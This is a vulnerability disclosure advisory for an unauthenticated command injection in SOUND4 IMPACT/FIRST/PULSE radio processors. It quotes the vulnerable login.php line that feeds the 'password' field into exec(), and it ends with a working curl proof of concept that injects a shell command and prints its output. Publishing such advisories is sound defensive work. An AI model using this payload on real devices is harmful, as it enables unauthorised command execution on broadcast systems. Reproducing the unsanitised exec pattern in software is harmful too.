SOUND4 IMPACT/FIRST/PULSE/Eco 2.x password Command Injection

SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (password) Unauthenticated Command InjectionVendor: SOUND4 Ltd.Product web page: https://www.sound4.com | https://www.sound4.bizAffected version: FM/HD Radio Processing:                  Impact/Pulse/First (Version 2: 1.1/2.15)                  Impact/Pulse/First (Version 1: 2.1/1.69)                  Impact/Pulse Eco 1.16                  Voice Processing:                  BigVoice4 1.2                  BigVoice2 1.30                  Web-Audio Streaming:                  Stream 1.1/2.4.29                  Watermarking:                  WM2 (Kantar Media) 1.11Summary: The SOUND4 IMPACT introduces an innovative process - mono andstereo parts of the signal are processed separately to obtain perfectconsistency in terms of both sound and level. Therefore, in movingreception, when the FM receiver switches from stereo to mono and back tostereo, the sound variations and changes in level are reduced by over 90%.In the SOUND4 IMPACT processing chain, the stereo expander can be usedsubstantially without any limitations.With its advanced functionalities and impressive versatility, SOUND4PULSE gives clients the ultimate price - performance ratio, providingmuch more than just a processor. Flexible and powerful, it ensures perfectsound quality and full compatibility with radio broadcasting standardsand can be used simultaneously for FM and HD, DAB, DRM or streaming.SOUND4 FIRST provides all the most important functionalities you needin an FM/HD processor and sets the bar high both in terms of performanceand affordability. Designed to deliver a sound of uncompromising quality,this tool gives you 2-band processing, a digital stereo generator and anIMPACT Clipper.Desc: The application suffers from an unauthenticated OS command injectionvulnerability. This can be exploited to inject and execute arbitrary shellcommands through the 'password' HTTP POST parameter through index.php andlogin.php script.========================================================================/var/www/login.php:-------------------09: if (isset($_POST['username']) && isset($_POST['password'])) {10:11:    $ret = -1;12:    // remarque: Check Password for broken, only admin/admin as valid user/password13:    exec('echo ' . $_POST['password'] . ' | /opt/sound4/sound4server _check_pwd_ ' .'"'.$_POST['username'].'";',$out,$ret);========================================================================Tested on: Apache/2.4.25 (Unix)           OpenSSL/1.0.2k           PHP/7.1.1           GNU/Linux 5.10.43 (armv7l)           GNU/Linux 4.9.228 (armv7l)Vulnerability discovered by Gjoko 'LiquidWorm' KrsticMacedonian Information Security Research and Development LaboratoryZero Science Lab - https://www.zeroscience.mk - @zeroscienceAdvisory ID: ZSL-2022-5738Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5738.php26.09.2022--> curl --fail -XPOST -sko nul https://RADIOGUGU/index.php --data "username=ZSL&password=`id>/var/www/g`" && curl -sk https://RADIOGUGU/guid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)